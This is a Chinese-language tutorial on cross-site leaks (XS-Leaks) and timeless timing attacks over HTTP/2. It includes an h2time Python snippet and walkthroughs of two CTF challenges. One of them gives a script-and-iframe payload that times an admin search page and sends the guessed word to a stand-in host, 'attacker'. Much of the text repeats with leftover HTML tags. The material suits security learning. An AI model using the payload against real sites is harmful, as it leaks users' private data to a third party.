浅谈XS-Leaks之Timeless Timing Attack<\/h1>

1. XS-Leaks简介<\/h2>

1.1 什么是XS-Leaks？<\/h3>
Cross-site leaks（又名XS-Leaks、XSLeaks）是一类源自Web平台内置侧通道的漏洞。它们利用网络可组合性核心原则，允许网站相互交互，并滥用合法机制来推断用户信息。<\/p>

1.2 XS-Leaks和CSRF的区别<\/h3>

CSRF：让受害者执行某些操作<\/li>

XS-Leaks：探测用户敏感信息<\/li> <\/ul>

1.3 XS-Leaks的利用原理和使用条件<\/h3>

原理<\/strong>：利用网站交互过程中暴露的小块信息，使用Web上可用的侧信道探测用户敏感信息。<\/p>

典型场景<\/strong>：<\/p>

网站存在模糊查找功能（前缀匹配返回结果）<\/li>
页面有XSS漏洞<\/li>
不同用户查询结果集不同<\/li>
CORS配置正确阻止直接获取响应<\/li> <\/ul>
侧信道来源<\/strong>：<\/p>

浏览器API（如Frame Counting和Timing Attacks）<\/li>
浏览器实现细节和bugs（如Connection Pooling和typeMustMatch）<\/li>
硬件bugs（如Speculative Execution Attacks）<\/li> <\/ol>
利用条件<\/strong>：<\/p>

网页具有模糊查找功能<\/li>
可构成二元结果（成功\/失败）<\/li>
二元结果差异可通过侧信道技术探测<\/li> <\/ul>
2. 网络计时攻击<\/h2>
2.1 传统计时攻击<\/h3>
原理<\/strong>：<\/p>

发送两个请求：

查询不可能存在的字符<\/li>
查询需要确认是否存在的字符<\/li> <\/ul> <\/li>
通过时间差异判断字符是否存在<\/li> <\/ol>
局限性<\/strong>：<\/p>

受网络因素影响大<\/li>
高延迟导致攻击效果差<\/li>
需要大量测试请求（成百上千次）<\/li>
受害者需持续访问攻击网站<\/li> <\/ol>
2.2 Timeless Timing攻击<\/h3>
2.2.1 原理<\/h4>
核心思想<\/strong>：<\/p>

不测量绝对时间，而是比较两个请求的返回顺序<\/li>
通过并发请求避免网络抖动影响<\/li> <\/ul>
实现方式<\/strong>：<\/p>

多路复用<\/strong>：利用HTTP\/2并发流机制使请求同时发送到达<\/li>
报文封装<\/strong>：使用可封装多个数据流的协议（如HTTP\/1.1 over Tor\/VPN）<\/li> <\/ol>
判断标准<\/strong>：<\/p>

无延迟时：两个报文返回顺序概率各50%<\/li>
有延迟时：延迟报文先返回概率明显<50%<\/li> <\/ul>
2.2.2 优点<\/h4>

不受网络抖动和不确定延迟影响<\/li>
远程攻击性能与本地攻击相当<\/li>
所需请求数量远少于传统方法<\/li> <\/ol>
3. 实践应用<\/h2>
3.1 基础示例<\/h3>
使用h2time库实现：<\/p>
from<\/span> h2time import<\/span> H2Time, H2Request <\/span><\/span>import<\/span> asyncio <\/span><\/span> <\/span><\/span>async<\/span> def<\/span> run_two_gets<\/span>(): <\/span><\/span> r1 =<\/span> H2Request('GET'<\/span>, 'https:\/\/example.com\/?1'<\/span>) <\/span><\/span> r2 =<\/span> H2Request('GET'<\/span>, 'https:\/\/example.com\/?2'<\/span>) <\/span><\/span> async<\/span> with<\/span> H2Time(r1, r2, num_request_pairs=<\/span>5<\/span>) as<\/span> h2t: <\/span><\/span> results =<\/span> await<\/span> h2t.<\/span>run_attack() <\/span><\/span> # 分析结果...<\/span> <\/span><\/span> <\/span><\/span>loop =<\/span> asyncio.<\/span>get_event_loop() <\/span><\/span>loop.<\/span>run_until_complete(run_two_gets()) <\/span><\/span><\/code><\/pre>3.2 [WCTF 2020]Spaceless Spacing<\/h3> 考点<\/strong>：HTTP\/2多路复用<\/p> HTTP版本对比<\/strong>：<\/p> 版本<\/th> 传输方式<\/th> 效果<\/th> <\/tr> <\/thead> HTTP1.0<\/td> 原始方式<\/td> 一个TCP只有一个请求和响应<\/td> <\/tr> HTTP1.1<\/td> keepalive<\/td> 复用TCP，顺序执行<\/td> <\/tr> HTTP1.1<\/td> pipeline<\/td> 同时发送多个请求，顺序响应<\/td> <\/tr> HTTP2.0<\/td> Multiplexing<\/td> 并发处理，乱序返回<\/td> <\/tr> <\/tbody> <\/table> 3.3 [TQLCTF 2022]A More Secure Pastebin<\/h3> 考点<\/strong>：<\/p> XS-Leaks + Timeless Timing<\/li> HTTP\/2 Concurrent Stream<\/li> TCP拥塞控制<\/li> <\/ol> 解题步骤<\/strong>：<\/p> 提交包含恶意JS的页面链接<\/li> JS执行： POST过大body阻塞TCP信道<\/li> 发送两个fetch请求探测字符串<\/li> 利用TCP Nagle算法使请求放入同一TCP报文<\/li> 使用Promise.all检测返回顺序<\/li> <\/ul> <\/li> 重复多次统计概率<\/li> 根据结果频率判断字符<\/li> <\/ol> 关键代码<\/strong>：<\/p> <script<\/span>> <\/span><\/span> const<\/span> start<\/span> =<\/span> Date.now<\/span>(); <\/span><\/span> abc<\/span> =<\/span> () => { <\/span><\/span> const<\/span> end<\/span> =<\/span> Date.now<\/span>(); <\/span><\/span> new<\/span> XMLHttpRequest<\/span>().open<\/span>('get'<\/span>,`http:\/\/attacker\/result?word={{word}}&ms=<\/span>${<\/span>end<\/span>-<\/span>start<\/span>}<\/span>`<\/span>,true<\/span>).send<\/span>(); <\/span><\/span> } <\/span><\/span><\/script<\/span>> <\/span><\/span><iframe<\/span> src<\/span>=<\/span>"https:\/\/target\/admin\/search?word={{word}}"<\/span> onload<\/span>=<\/span>"abc()"<\/span>><\/iframe<\/span>> <\/span><\/span><\/code><\/pre>4. 总结与拓展<\/h2> 4.1 总结<\/h3> Timeless timing攻击不受网络抖动影响<\/li> 远程攻击性能与本地相当<\/li> 适用于多路复用协议或封装传输协议<\/li> 所有标准协议都可能受影响<\/li> <\/ol> 4.2 HTTP\/1.1下的应用<\/h3> 利用pipeline特性<\/strong>：<\/p> 强制顺序响应<\/li> 单线程顺序处理<\/li> 通过放大时间差（如发送1000个相同请求）使微小差异变得可测<\/li> <\/ol> 限制因素<\/strong>：<\/p> 服务器中间件配置（如Apache默认最大100个pipeline请求）<\/li> 无限制时可无限放大时间差<\/li> <\/ul> 5. 参考资料<\/h2> Timeless Timing Attacks论文<\/a><\/li> XS-Leaks攻击手册<\/a><\/li> HTTP\/2多路复用机制<\/a><\/li> TCP Nagle算法<\/a><\/li> <\/ol>

版本<\/th>	传输方式<\/th>	效果<\/th> <\/tr> <\/thead>
HTTP1.0<\/td>	原始方式<\/td>	一个TCP只有一个请求和响应<\/td> <\/tr>
HTTP1.1<\/td>	keepalive<\/td>	复用TCP，顺序执行<\/td> <\/tr>
HTTP1.1<\/td>	pipeline<\/td>	同时发送多个请求，顺序响应<\/td> <\/tr>
HTTP2.0<\/td>	Multiplexing<\/td>	并发处理，乱序返回<\/td> <\/tr> <\/tbody> <\/table> 3.3 [TQLCTF 2022]A More Secure Pastebin<\/h3> 考点<\/strong>：<\/p> XS-Leaks + Timeless Timing<\/li> HTTP\/2 Concurrent Stream<\/li> TCP拥塞控制<\/li> <\/ol> 解题步骤<\/strong>：<\/p> 提交包含恶意JS的页面链接<\/li> JS执行： POST过大body阻塞TCP信道<\/li> 发送两个fetch请求探测字符串<\/li> 利用TCP Nagle算法使请求放入同一TCP报文<\/li> 使用Promise.all检测返回顺序<\/li> <\/ul> <\/li> 重复多次统计概率<\/li> 根据结果频率判断字符<\/li> <\/ol> 关键代码<\/strong>：<\/p> <script<\/span>> <\/span><\/span> const<\/span> start<\/span> =<\/span> Date.now<\/span>(); <\/span><\/span> abc<\/span> =<\/span> () => { <\/span><\/span> const<\/span> end<\/span> =<\/span> Date.now<\/span>(); <\/span><\/span> new<\/span> XMLHttpRequest<\/span>().open<\/span>('get'<\/span>,`http:\/\/attacker\/result?word={{word}}&ms=<\/span>${<\/span>end<\/span>-<\/span>start<\/span>}<\/span>`<\/span>,true<\/span>).send<\/span>(); <\/span><\/span> } <\/span><\/span><\/script<\/span>> <\/span><\/span><iframe<\/span> src<\/span>=<\/span>"https:\/\/target\/admin\/search?word={{word}}"<\/span> onload<\/span>=<\/span>"abc()"<\/span>><\/iframe<\/span>> <\/span><\/span><\/code><\/pre>4. 总结与拓展<\/h2> 4.1 总结<\/h3> Timeless timing攻击不受网络抖动影响<\/li> 远程攻击性能与本地相当<\/li> 适用于多路复用协议或封装传输协议<\/li> 所有标准协议都可能受影响<\/li> <\/ol> 4.2 HTTP\/1.1下的应用<\/h3> 利用pipeline特性<\/strong>：<\/p> 强制顺序响应<\/li> 单线程顺序处理<\/li> 通过放大时间差（如发送1000个相同请求）使微小差异变得可测<\/li> <\/ol> 限制因素<\/strong>：<\/p> 服务器中间件配置（如Apache默认最大100个pipeline请求）<\/li> 无限制时可无限放大时间差<\/li> <\/ul> 5. 参考资料<\/h2> Timeless Timing Attacks论文<\/a><\/li> XS-Leaks攻击手册<\/a><\/li> HTTP\/2多路复用机制<\/a><\/li> TCP Nagle算法<\/a><\/li> <\/ol>

浅谈XS-Leaks之Timeless Timing Attack<\/h1>

1. XS-Leaks简介<\/h2>

1.1 什么是XS-Leaks？<\/h3> Cross-site leaks（又名XS-Leaks、XSLeaks）是一类源自Web平台内置侧通道的漏洞。它们利用网络可组合性核心原则，允许网站相互交互，并滥用合法机制来推断用户信息。<\/p>

2. 网络计时攻击<\/h2>

2.2 Timeless Timing攻击<\/h3>

3. 实践应用<\/h2>

4. 总结与拓展<\/h2>

5. 参考资料<\/h2> Timeless Timing Attacks论文<\/a><\/li> XS-Leaks攻击手册<\/a><\/li> HTTP\/2多路复用机制<\/a><\/li> TCP Nagle算法<\/a><\/li> <\/ol>

1.1 什么是XS-Leaks？<\/h3>
Cross-site leaks（又名XS-Leaks、XSLeaks）是一类源自Web平台内置侧通道的漏洞。它们利用网络可组合性核心原则，允许网站相互交互，并滥用合法机制来推断用户信息。<\/p>

5. 参考资料<\/h2>

Timeless Timing Attacks论文<\/a><\/li>
XS-Leaks攻击手册<\/a><\/li>
HTTP\/2多路复用机制<\/a><\/li>
TCP Nagle算法<\/a><\/li> <\/ol>